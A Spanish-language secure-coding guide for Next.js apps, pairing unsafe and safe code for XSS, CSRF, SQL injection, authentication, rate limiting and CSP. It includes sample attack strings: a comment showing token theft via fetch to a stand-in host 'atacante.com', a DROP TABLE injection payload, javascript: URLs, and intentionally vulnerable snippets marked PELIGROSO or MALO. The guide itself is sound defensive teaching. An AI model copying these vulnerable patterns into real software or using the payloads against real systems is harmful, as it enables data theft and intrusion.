Seguridad en Aplicaciones NextJS: guía Completa para Desarrolladores
guía práctica de seguridad en NextJS. XSS, CSRF, SQL Injection, autenticación, middleware, rate limiting, CSP headers y checklist de seguridad antes de deploy.
Seguridad en Aplicaciones NextJS: guía para Desarrolladores
La seguridad en NextJS no es una funcionalidad que agregas al final del proyecto. Es parte del desarrollo desde el primer commit. Esta guía cubre las vulnerabilidades más comunes en aplicaciones web, cómo se manifiestan en NextJS y React, y que puedes hacer para proteger tu aplicación con código concreto.
No vamos a cubrir teoria abstracta. Cada sección tiene código que puedes implementar directamente en tu proyecto.
por qué seguridad importa desde el día uno
Un error común es pensar que la seguridad es responsabilidad del equipo de DevOps o de alguien más. La realidad es que la mayoria de vulnerabilidades se introducen en el código de la aplicación, no en la infraestructura.
Datos del OWASP Top 10 muestran que las vulnerabilidades más explotadas en aplicaciones web son prevenibles con buenas prácticas de código:
- Inyección (SQL, NoSQL, comandos): datos de usuario ejecutados como código
- Autenticación rota: tokens mal manejados, sesiones que no expiran
- Exposición de datos: secrets en repos, respuestas con datos de más
- XSS: scripts maliciosos ejecutados en el navegador del usuario
- CSRF: acciones ejecutadas sin el consentimiento del usuario
NextJS te da herramientas para mitigar cada una. Veamos como.
OWASP Top 10 resumido para NextJS
El OWASP Top 10 es el estandar de referencia para vulnerabilidades en aplicaciones web. Esto es lo que aplica directamente a tu stack de NextJS:
| Vulnerabilidad OWASP | Relevancia en NextJS | Sección |
|---|---|---|
| A01: Broken Access Control | Middleware, Server Components | Authorization |
| A02: Cryptographic Failures | Variables de entorno, HTTPS | Autenticación |
| A03: Injection | Server Actions, API Routes | SQL Injection |
| A05: Security Misconfiguration | Headers, CSP | Headers de seguridad |
| A07: XSS | React components, dangerouslySetInnerHTML | XSS |
| A08: CSRF | Server Actions, formularios | CSRF |
No todo aplica igual
Algunas categorías de OWASP como "Vulnerable and Outdated Components" se manejan a nivel de dependencias (npm audit), no a nivel de código. aquí nos enfocamos en lo que puedes controlar directamente desde tu aplicación NextJS.
XSS: Como prevenirlo en React y NextJS
Cross-Site Scripting (XSS) ocurre cuando un atacante logra ejecutar JavaScript malicioso en el navegador de otro usuario. En una aplicación React, esto es menos común gracias a que JSX escapa el contenido automáticamente, pero no es imposible.
React te protege por defecto
// Esto es SEGURO - React escapa el contenido
function Comentario({ texto }: { texto: string }) {
return <p>{texto}</p>
}
// Si texto = "<script>alert('hackeado')</script>"
// React renderiza el texto literal, no ejecuta el scriptDonde si hay riesgo: dangerouslySetInnerHTML
// PELIGROSO - Esto ejecuta HTML sin escapar
function ContenidoHTML({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
// Si html viene de un usuario, puede contener scripts maliciososLa solución: sanitizar el HTML
Si necesitas renderizar HTML externo (por ejemplo, contenido de un CMS o un editor WYSIWYG), sanitizalo primero:
npm install isomorphic-dompurifyimport DOMPurify from 'isomorphic-dompurify'
function ContenidoSeguro({ html }: { html: string }) {
const htmlLimpio = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
})
return <div dangerouslySetInnerHTML={{ __html: htmlLimpio }} />
}Nunca confies en el input del usuario
Aunque uses DOMPurify, configura una lista explicita de tags y atributos permitidos. La configuración por defecto es permisiva. Ser restrictivo es mejor que ser permisivo cuando se trata de HTML externo.
Otros vectores de XSS en NextJS
// PELIGROSO - URLs con javascript:
function Link({ url }: { url: string }) {
// Si url = "javascript:alert('xss')", se ejecuta al hacer click
return <a href={url}>Click aquí</a>
}
// SEGURO - válida el protocolo
function LinkSeguro({ url }: { url: string }) {
const urlSegura = url.startsWith('http://') || url.startsWith('https://')
? url
: '#'
return <a href={urlSegura}>Click aquí</a>
}// PELIGROSO - Estilos dinámicos sin validar
function Avatar({ color }: { color: string }) {
// Si color = "red; background-image: url(javascript:...)"
return <div style={{ backgroundColor: color }} />
}
// SEGURO - Usa una allowlist
const COLORES_PERMITIDOS = ['red', 'blue', 'green', 'gray'] as const
function AvatarSeguro({ color }: { color: string }) {
const colorSeguro = COLORES_PERMITIDOS.includes(color as any)
? color
: 'gray'
return <div style={{ backgroundColor: colorSeguro }} />
}CSRF: Protección con Server Actions y tokens
Cross-Site Request Forgery (CSRF) ocurre cuando un sitio malicioso hace que el navegador del usuario envie una petición a tu aplicación aprovechando las cookies de sesión activas.
Server Actions de NextJS ya incluyen protección
NextJS genera automáticamente un token CSRF para cada Server Action. Esto significa que si usas Server Actions para mutaciones, ya tienes protección básica:
// app/perfil/page.tsx
export default function PerfilPage() {
async function actualizarNombre(formData: FormData) {
'use server'
const nombre = formData.get('nombre') as string
// NextJS verifica automáticamente el token CSRF
// antes de ejecutar esta función
await db.usuario.update({
where: { id: sesión.userId },
data: { nombre },
})
}
return (
<form action={actualizarNombre}>
<input name="nombre" type="text" required />
<button type="submit">Guardar</button>
</form>
)
}Para API Routes: implementa tokens CSRF manualmente
Si usas API Routes en lugar de Server Actions, necesitas manejar la protección tu mismo:
// lib/csrf.ts
import { randomBytes } from 'crypto'
import { cookies } from 'next/headers'
export async function generarTokenCSRF(): Promise<string> {
const token = randomBytes(32).toString('hex')
const cookieStore = await cookies()
cookieStore.set('csrf-token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/',
maxAge: 60 * 60, // 1 hora
})
return token
}
export async function verificarTokenCSRF(token: string): Promise<boolean> {
const cookieStore = await cookies()
const tokenGuardado = cookieStore.get('csrf-token')?.value
if (!tokenGuardado || !token) return false
// Comparación en tiempo constante para prevenir timing attacks
const encoder = new TextEncoder()
const a = encoder.encode(tokenGuardado)
const b = encoder.encode(token)
if (a.byteLength !== b.byteLength) return false
return crypto.subtle.timingSafeEqual(a, b)
}// app/api/perfil/route.ts
import { verificarTokenCSRF } from '@/lib/csrf'
import { NextRequest, NextResponse } from 'next/server'
export async function POST(request: NextRequest) {
const body = await request.json()
const tokenValido = await verificarTokenCSRF(body.csrfToken)
if (!tokenValido) {
return NextResponse.json(
{ error: 'Token CSRF invalido' },
{ status: 403 }
)
}
// Procesar la solicitud
// ...
}Prefiere Server Actions
Si puedes usar Server Actions en lugar de API Routes para mutaciones, hazlo. La protección CSRF viene integrada y no tienes que manejar tokens manualmente.
SQL Injection: ORM como defensa principal
SQL Injection ocurre cuando datos del usuario se insertan directamente en una consulta SQL. Aunque suena a vulnerabilidad de 2005, sigue siendo una de las más comunes.
El problema: consultas sin parametrizar
// PELIGROSO - SQL Injection directo
import { sql } from '@vercel/postgres'
async function buscarUsuario(email: string) {
// Si email = "'; DROP TABLE usuarios; --"
// Se ejecuta: SELECT * FROM usuarios WHERE email = ''; DROP TABLE usuarios; --'
const resultado = await sql.query(
`SELECT * FROM usuarios WHERE email = '${email}'`
)
return resultado.rows[0]
}La solución: queries parametrizadas
// SEGURO - Query parametrizada
import { sql } from '@vercel/postgres'
async function buscarUsuario(email: string) {
// El valor se pasa como parámetro, nunca se interpola en el SQL
const resultado = await sql`
SELECT * FROM usuarios WHERE email = ${email}
`
return resultado.rows[0]
}ORMs: defensa por defecto
Si usas un ORM como Prisma o Drizzle, las queries estan parametrizadas automáticamente:
// SEGURO - Prisma parametriza automáticamente
async function buscarUsuario(email: string) {
const usuario = await prisma.usuario.findUnique({
where: { email }, // Prisma escapa el valor
})
return usuario
}// SEGURO - Drizzle también parametriza
import { eq } from 'drizzle-orm'
import { usuarios } from '@/db/schema'
async function buscarUsuario(email: string) {
const resultado = await db
.select()
.from(usuarios)
.where(eq(usuarios.email, email)) // Drizzle escapa el valor
return resultado[0]
}Cuidado con raw queries
Incluso con un ORM, si usas raw queries, el riesgo vuelve:
// PELIGROSO - raw query sin parametrizar
const resultado = await prisma.$queryRawUnsafe(
`SELECT * FROM usuarios WHERE nombre LIKE '%${búsqueda}%'`
)
// SEGURO - raw query parametrizada
const resultado = await prisma.$queryRaw`
SELECT * FROM usuarios WHERE nombre LIKE ${`%${búsqueda}%`}
`Autenticación: mejores prácticas
La autenticación es donde más errores de seguridad se cometen. Estas son las reglas fundamentales.
Nunca guardes tokens en localStorage
// MALO - localStorage es accesible desde cualquier script
localStorage.setItem('token', response.token)
// Si hay una vulnerabilidad XSS, el atacante roba el token:
// fetch('https://atacante.com/robar?token=' + localStorage.getItem('token'))Usa httpOnly cookies
// lib/auth.ts
import { cookies } from 'next/headers'
import { SignJWT, jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
export async function crearSesion(userId: string) {
const token = await new SignJWT({ userId })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('7d')
.setIssuedAt()
.sign(SECRET)
const cookieStore = await cookies()
cookieStore.set('session', token, {
httpOnly: true, // No accesible desde JavaScript
secure: true, // Solo HTTPS
sameSite: 'strict', // No se envia en peticiones cross-origin
maxAge: 60 * 60 * 24 * 7, // 7 días
path: '/',
})
}
export async function obtenerSesion() {
const cookieStore = await cookies()
const token = cookieStore.get('session')?.value
if (!token) return null
try {
const { payload } = await jwtVerify(token, SECRET)
return payload as { userId: string }
} catch {
return null
}
}
export async function cerrarSesion() {
const cookieStore = await cookies()
cookieStore.delete('session')
}Hashea passwords correctamente
// lib/password.ts
import { hash, verify } from '@node-rs/argon2'
// Argon2id es el algoritmo recomendado actualmente
export async function hashearPassword(password: string): Promise<string> {
return hash(password, {
memoryCost: 19456, // 19 MB
timeCost: 2,
parallelism: 1,
})
}
export async function verificarPassword(
password: string,
hashGuardado: string
): Promise<boolean> {
return verify(hashGuardado, password)
}Variables de entorno
Tu JWT_SECRET y cualquier otro secret deben estar en variables de entorno, nunca en el código. Si necesitas una guía para configurar esto correctamente, revisa variables de entorno en NextJS y Vercel.
Checklist de autenticación
- httpOnly cookies para tokens de sesión
- Passwords hasheados con Argon2id o bcrypt (nunca MD5 o SHA)
- Tokens con expiración corta (7 días máximo para sesiones)
- Rotación de tokens en cada request o periodicamente
- Rate limiting en endpoints de login
- Validación de password strength en registro
Authorization: Middleware de NextJS para proteger rutas
Autenticación es verificar quien eres. Authorization es verificar que puedes hacer. NextJS Middleware es perfecto para esto porque se ejecuta antes de que la página cargue.
Middleware básico de autenticación
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
// Rutas que requieren autenticación
const RUTAS_PROTEGIDAS = ['/dashboard', '/perfil', '/configuración']
// Rutas solo para usuarios no autenticados
const RUTAS_AUTH = ['/login', '/registro']
export async function middleware(request: NextRequest) {
const token = request.cookies.get('session')?.value
const path = request.nextUrl.pathname
// Verificar si el token es válido
let sesionValida = false
if (token) {
try {
await jwtVerify(token, SECRET)
sesionValida = true
} catch {
// Token invalido o expirado
sesionValida = false
}
}
// Redirigir si accede a ruta protegida sin sesión
const esRutaProtegida = RUTAS_PROTEGIDAS.some(ruta =>
path.startsWith(ruta)
)
if (esRutaProtegida && !sesionValida) {
const loginUrl = new URL('/login', request.url)
loginUrl.searchParams.set('redirect', path)
return NextResponse.redirect(loginUrl)
}
// Redirigir si ya tiene sesión y accede a login/registro
const esRutaAuth = RUTAS_AUTH.some(ruta => path.startsWith(ruta))
if (esRutaAuth && sesionValida) {
return NextResponse.redirect(new URL('/dashboard', request.url))
}
return NextResponse.next()
}
export const config = {
matcher: ['/dashboard/:path*', '/perfil/:path*', '/configuración/:path*', '/login', '/registro'],
}Authorization por roles
// middleware.ts - versión con roles
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
type Role = 'usuario' | 'editor' | 'admin'
interface PermisoRuta {
path: string
roles: Role[]
}
const PERMISOS: PermisoRuta[] = [
{ path: '/dashboard', roles: ['usuario', 'editor', 'admin'] },
{ path: '/editor', roles: ['editor', 'admin'] },
{ path: '/admin', roles: ['admin'] },
]
export async function middleware(request: NextRequest) {
const token = request.cookies.get('session')?.value
const path = request.nextUrl.pathname
if (!token) {
return NextResponse.redirect(new URL('/login', request.url))
}
try {
const { payload } = await jwtVerify(token, SECRET)
const userRole = payload.role as Role
const permiso = PERMISOS.find(p => path.startsWith(p.path))
if (permiso && !permiso.roles.includes(userRole)) {
// El usuario no tiene permiso para esta ruta
return NextResponse.redirect(new URL('/sin-acceso', request.url))
}
// Agregar info del usuario al header para usarla en Server Components
const headers = new Headers(request.headers)
headers.set('x-user-id', payload.userId as string)
headers.set('x-user-role', userRole)
return NextResponse.next({ headers })
} catch {
return NextResponse.redirect(new URL('/login', request.url))
}
}Verificación en Server Components
El middleware protege las rutas, pero también debes verificar permisos en tus Server Components para operaciones especificas:
// app/admin/usuarios/page.tsx
import { obtenerSesion } from '@/lib/auth'
import { redirect } from 'next/navigation'
export default async function AdminUsuariosPage() {
const sesión = await obtenerSesion()
if (!sesión || sesión.role !== 'admin') {
redirect('/sin-acceso')
}
const usuarios = await db.usuario.findMany()
return (
<div>
<h1>Administrar Usuarios</h1>
{/* renderizar tabla de usuarios */}
</div>
)
}Rate Limiting en API Routes
Sin rate limiting, un atacante puede hacer miles de peticiones por segundo a tu API. Esto puede causar desde consumo excesivo de recursos hasta ataques de fuerza bruta contra tu endpoint de login.
Implementación con Upstash
npm install @upstash/ratelimit @upstash/redis// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
// Crear instancia de Redis con Upstash
const redis = new Redis({
url: process.env.UPSTASH_REDIS_REST_URL!,
token: process.env.UPSTASH_REDIS_REST_TOKEN!,
})
// Rate limiter: 10 peticiones por 10 segundos por IP
export const rateLimiter = new Ratelimit({
redis,
limiter: Ratelimit.slidingWindow(10, '10 s'),
analytics: true,
})
// Rate limiter más estricto para login
export const loginRateLimiter = new Ratelimit({
redis,
limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 intentos por minuto
analytics: true,
})// app/api/login/route.ts
import { loginRateLimiter } from '@/lib/rate-limit'
import { NextRequest, NextResponse } from 'next/server'
export async function POST(request: NextRequest) {
// Obtener IP del cliente
const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
// Verificar rate limit
const { success, limit, reset, remaining } = await loginRateLimiter.limit(ip)
if (!success) {
return NextResponse.json(
{ error: 'Demasiados intentos. Intenta de nuevo más tarde.' },
{
status: 429,
headers: {
'X-RateLimit-Limit': limit.toString(),
'X-RateLimit-Remaining': remaining.toString(),
'X-RateLimit-Reset': reset.toString(),
'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
},
}
)
}
// Procesar login normalmente
const body = await request.json()
// ... validar credenciales
}Rate limiting en Middleware (global)
// middleware.ts - Agregar rate limiting global
import { rateLimiter } from '@/lib/rate-limit'
export async function middleware(request: NextRequest) {
// Solo rate limit en API routes
if (request.nextUrl.pathname.startsWith('/api/')) {
const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
const { success } = await rateLimiter.limit(ip)
if (!success) {
return NextResponse.json(
{ error: 'Rate limit excedido' },
{ status: 429 }
)
}
}
// Resto de la lógica del middleware...
return NextResponse.next()
}Content Security Policy (CSP)
Content Security Policy es un header HTTP que le dice al navegador que recursos puede cargar tu página. Es una de las defensas más efectivas contra XSS porque incluso si un atacante logra inyectar un script, el navegador lo bloquea si no esta en la lista permitida.
Configuración en next.config.ts
// next.config.ts
import type { NextConfig } from 'next'
const nextConfig: NextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.tudominio.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; '),
},
],
},
]
},
}
export default nextConfigunsafe-inline y unsafe-eval
NextJS necesita 'unsafe-inline' para los estilos inyectados y puede necesitar 'unsafe-eval' en desarrollo. En producción, puedes usar nonces para eliminar 'unsafe-inline' en scripts. La documentación de seguridad de NextJS explica cómo implementar nonces con middleware.
CSP con nonces (más seguro)
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const cspHeader = [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self'",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; ')
const headers = new Headers(request.headers)
headers.set('x-nonce', nonce)
const response = NextResponse.next({ headers })
response.headers.set('Content-Security-Policy', cspHeader)
return response
}// app/layout.tsx
import { headers } from 'next/headers'
export default async function RootLayout({
children,
}: {
children: React.ReactNode
}) {
const headersList = await headers()
const nonce = headersList.get('x-nonce') ?? ''
return (
<html lang="es" nonce={nonce}>
<body>{children}</body>
</html>
)
}Para una configuración más detallada de headers de seguridad, incluyendo HSTS, X-Frame-Options y Permissions-Policy, revisa la guía de headers de seguridad para aplicaciones web.
Validación de inputs
Cada dato que entra a tu aplicación desde el exterior es potencialmente malicioso. Formularios, query params, headers, cookies, todo debe validarse antes de usarse.
Validación con Zod en Server Actions
Si todavia no usas Zod, revisa la guía completa de Zod para validación. aquí va un ejemplo aplicado a seguridad:
// app/actions/crear-usuario.ts
'use server'
import { z } from 'zod'
const CrearUsuarioSchema = z.object({
email: z.string()
.email('Email invalido')
.max(255, 'Email demasiado largo')
.toLowerCase()
.trim(),
nombre: z.string()
.min(2, 'Nombre muy corto')
.max(100, 'Nombre muy largo')
.trim()
.regex(/^[a-zA-ZÀ-ÿ\s]+$/, 'El nombre solo puede contener letras'),
password: z.string()
.min(8, 'mínimo 8 caracteres')
.max(128, 'Password demasiado largo')
.regex(/[A-Z]/, 'Debe contener al menos una mayuscula')
.regex(/[a-z]/, 'Debe contener al menos una minuscula')
.regex(/[0-9]/, 'Debe contener al menos un número'),
})
export async function crearUsuario(formData: FormData) {
const datosRaw = {
email: formData.get('email'),
nombre: formData.get('nombre'),
password: formData.get('password'),
}
// Validar ANTES de hacer cualquier cosa
const resultado = CrearUsuarioSchema.safeParse(datosRaw)
if (!resultado.success) {
return {
error: resultado.error.flatten().fieldErrors,
}
}
// Los datos ya estan validados y tipados
const { email, nombre, password } = resultado.data
// Proceder con la creación del usuario
const passwordHash = await hashearPassword(password)
await db.usuario.create({
data: { email, nombre, passwordHash },
})
return { success: true }
}Validación de query params en API Routes
// app/api/usuarios/route.ts
import { z } from 'zod'
import { NextRequest, NextResponse } from 'next/server'
const BusquedaSchema = z.object({
q: z.string().max(100).optional(),
página: z.coerce.number().int().min(1).default(1),
límite: z.coerce.number().int().min(1).max(100).default(20),
orden: z.enum(['nombre', 'fecha', 'email']).default('fecha'),
})
export async function GET(request: NextRequest) {
const searchParams = Object.fromEntries(request.nextUrl.searchParams)
const resultado = BusquedaSchema.safeParse(searchParams)
if (!resultado.success) {
return NextResponse.json(
{ error: 'parámetros invalidos', detalles: resultado.error.flatten() },
{ status: 400 }
)
}
const { q, página, límite, orden } = resultado.data
// Usar los parámetros validados
const usuarios = await db.usuario.findMany({
where: q ? { nombre: { contains: q } } : undefined,
skip: (página - 1) * límite,
take: límite,
orderBy: { [orden]: 'asc' },
})
return NextResponse.json(usuarios)
}No solo valides en el cliente
La validación del lado del cliente es para mejorar la experiencia del usuario. La validación del servidor es para proteger tu aplicación. Siempre necesitas ambas.
Cuando hagas peticiones con fetch desde el cliente, válida la respuesta también. No asumas que la API siempre responde con el formato esperado.
Manejo seguro de variables de entorno
Las variables de entorno son uno de los vectores de ataque más comunes. Un .env commiteado accidentalmente puede exponer tu base de datos, API keys y secrets a todo el mundo.
Reglas básicas
// NUNCA expongas variables del servidor al cliente
// En NextJS, solo variables con prefijo NEXT_PUBLIC_ son accesibles en el cliente
// .env.local
DATABASE_URL="postgresql://..." // Solo servidor
JWT_SECRET="..." // Solo servidor
NEXT_PUBLIC_API_URL="https://api.com" // Cliente y servidor// válida que las variables existan al inicio
// lib/env.ts
import { z } from 'zod'
const envSchema = z.object({
DATABASE_URL: z.string().url(),
JWT_SECRET: z.string().min(32),
UPSTASH_REDIS_REST_URL: z.string().url(),
UPSTASH_REDIS_REST_TOKEN: z.string().min(1),
})
// Esto lanza un error al inicio si falta alguna variable
export const env = envSchema.parse(process.env)Escanear tu repo por secrets expuestos
Un error común es commitear un .env o hardcodear un API key en algún archivo. Para detectar esto automáticamente, datahogo escanea tu repositorio de GitHub y te alerta si encuentra credenciales expuestas.
Evalúa tu seguridad contra OWASP Top 10
Auditoría OWASP gratuita -- 10 preguntas, un grade A-F por cada categoría del OWASP Top 10 y recomendaciones específicas. Toma menos de 2 minutos, sin registro.
además de herramientas externas, agrega .env* a tu .gitignore desde el primer commit:
# .gitignore
.env
.env.local
.env.development.local
.env.test.local
.env.production.localChecklist de seguridad antes de deploy
Antes de deployar tu aplicación NextJS a producción, verifica cada uno de estos puntos:
Protección contra ataques
- XSS: No usas
dangerouslySetInnerHTMLcon contenido de usuarios sin sanitizar - CSRF: Usas Server Actions o implementas tokens CSRF en API Routes
- SQL Injection: Todas las queries estan parametrizadas o usan un ORM
- Rate limiting: Endpoints de login y API tienen límites de peticiones
Autenticación y autorización
- Tokens en httpOnly cookies, no en localStorage
- Passwords hasheados con Argon2id o bcrypt
- Middleware protege rutas que requieren autenticación
- Verificación de roles en Server Components para operaciones sensibles
- Sesiones con expiración configurada
Headers de seguridad
- Content-Security-Policy configurado
- Strict-Transport-Security habilitado
- X-Content-Type-Options: nosniff presente
- X-Frame-Options: DENY presente
- Referrer-Policy configurado
Variables de entorno y secrets
-
.enven.gitignoredesde el primer commit - Variables de entorno validadas con Zod al inicio
- No hay secrets hardcodeados en el código
- Solo variables
NEXT_PUBLIC_expuestas al cliente - Repo escaneado con una herramienta de detección de secrets
Validación de datos
- Todos los inputs validados en el servidor con Zod
- Query params validados en API Routes
- Tipos de archivo validados en uploads
- tamaño de payload limitado en API Routes
Dependencias
-
npm auditsin vulnerabilidades críticas - Dependencias actualizadas a versiones con parches de seguridad
- Lock file (
package-lock.json) commiteado
No necesitas implementar todo de golpe. Empieza con lo crítico (autenticación, validación de inputs, variables de entorno) y ve agregando capas de seguridad incrementalmente. Cada punto que marques reduce significativamente la superficie de ataque.
Errores comunes de seguridad en NextJS
Estos son errores que veo frecuentemente en proyectos de NextJS. Revisa que tu proyecto no tenga ninguno:
1. Exponer datos sensibles en Server Components
// MALO - El objeto completo llega al cliente como props
async function PerfilPage() {
const usuario = await db.usuario.findUnique({ where: { id } })
// usuario incluye passwordHash, secret, etc.
return <PerfilForm usuario={usuario} />
}
// BIEN - Solo enviar los datos necesarios
async function PerfilPage() {
const usuario = await db.usuario.findUnique({
where: { id },
select: { nombre: true, email: true, avatar: true },
})
return <PerfilForm usuario={usuario} />
}2. Server Actions sin verificar autorización
// MALO - Cualquiera puede eliminar cualquier post
async function eliminarPost(postId: string) {
'use server'
await db.post.delete({ where: { id: postId } })
}
// BIEN - Verificar que el usuario es dueno del post
async function eliminarPost(postId: string) {
'use server'
const sesión = await obtenerSesion()
if (!sesión) throw new Error('No autenticado')
const post = await db.post.findUnique({ where: { id: postId } })
if (post?.autorId !== sesión.userId) throw new Error('No autorizado')
await db.post.delete({ where: { id: postId } })
}3. Redirect abierto
// MALO - El usuario puede redirigir a cualquier sitio
export async function GET(request: NextRequest) {
const redirect = request.nextUrl.searchParams.get('redirect')
return NextResponse.redirect(redirect!) // Puede ser https://atacante.com
}
// BIEN - Solo permitir rutas internas
export async function GET(request: NextRequest) {
const redirect = request.nextUrl.searchParams.get('redirect') ?? '/dashboard'
// Verificar que sea una ruta interna
const url = new URL(redirect, request.url)
if (url.origin !== request.nextUrl.origin) {
return NextResponse.redirect(new URL('/dashboard', request.url))
}
return NextResponse.redirect(url)
}Resumen
La seguridad en NextJS no requiere ser experto en criptografia. Requiere disciplina para aplicar patrones consistentes:
- Nunca confies en datos del exterior -- válida todo con Zod
- React te protege de XSS por defecto -- no lo desactives con
dangerouslySetInnerHTML - Usa Server Actions -- la protección CSRF viene incluida
- Usa un ORM -- la protección contra SQL Injection viene incluida
- httpOnly cookies para tokens -- nunca localStorage
- Middleware para proteger rutas -- es la primera línea de defensa
- Rate limiting -- protege contra fuerza bruta y abuso
- CSP headers -- la segunda capa contra XSS
- Variables de entorno seguras -- configuralas correctamente
- Escanea tu repo -- verifica que no tengas secrets expuestos
La seguridad es un proceso continuo, no un checklist que completas una vez. Cada feature nuevo es una oportunidad para introducir una vulnerabilidad, y cada code review es una oportunidad para detectarla antes de que llegue a producción.
Preguntas frecuentes
¿Cómo prevenir XSS en una aplicación NextJS?
React escapa automáticamente el contenido renderizado en JSX, lo que previene la mayoria de ataques XSS. Evita usar dangerouslySetInnerHTML con contenido de usuarios. Si necesitas renderizar HTML externo, sanitizalo con una librería como DOMPurify antes de pasarlo al componente.
¿Es seguro guardar tokens de autenticación en localStorage?
No. localStorage es accesible desde cualquier script JavaScript en la página, incluyendo scripts inyectados por XSS. Usa httpOnly cookies que no son accesibles desde JavaScript del cliente. Configuralas con los flags Secure, SameSite=Strict y un tiempo de expiración corto.
¿Cómo implementar rate limiting en API Routes de NextJS?
Puedes usar librerías como upstash/ratelimit con un store en Redis para limitar peticiones por IP o por usuario. Configura el rate limiter en tu API Route o middleware y responde con status 429 cuando se exceda el límite.
¿Qué es Content Security Policy y cómo se configura en NextJS?
Content Security Policy (CSP) es un header HTTP que le indica al navegador que recursos puede cargar la página. Se configura en next.config.ts dentro del arreglo headers o en un middleware personalizado. Restringe fuentes de scripts, estilos, imágenes y conexiones para prevenir ataques XSS e inyección de contenido.
¿Necesito validar inputs en el servidor si ya válido en el cliente?
Si, siempre. La validación del cliente se puede saltar con cualquier herramienta de desarrollo o petición HTTP directa. La validación del servidor es la única que realmente protege tu aplicación. Usa una librería como Zod para definir schemas que validen en ambos lados.
Articulos relacionados
Row Level Security en Supabase: Errores Comunes que Dejan tu Base de Datos Abierta
Los 5 errores más comunes de Row Level Security en Supabase que dejan tu base de datos expuesta. USING(true), tablas sin RLS, service_role en el cliente y cómo corregirlos.
OWASP Top 10: Guía Práctica para Desarrolladores Web
Guía práctica del OWASP Top 10 en español. Las 10 vulnerabilidades más críticas en aplicaciones web con ejemplos de código, prevención en Next.js y Node.js, y checklist de seguridad.
Archivos .env Expuestos: Cómo Verificar si tu Sitio Filtra Secretos
Guía para detectar si tu sitio web expone archivos .env, .git y configuraciones sensibles. Verificación manual, protección en Next.js y Vercel, y remediación.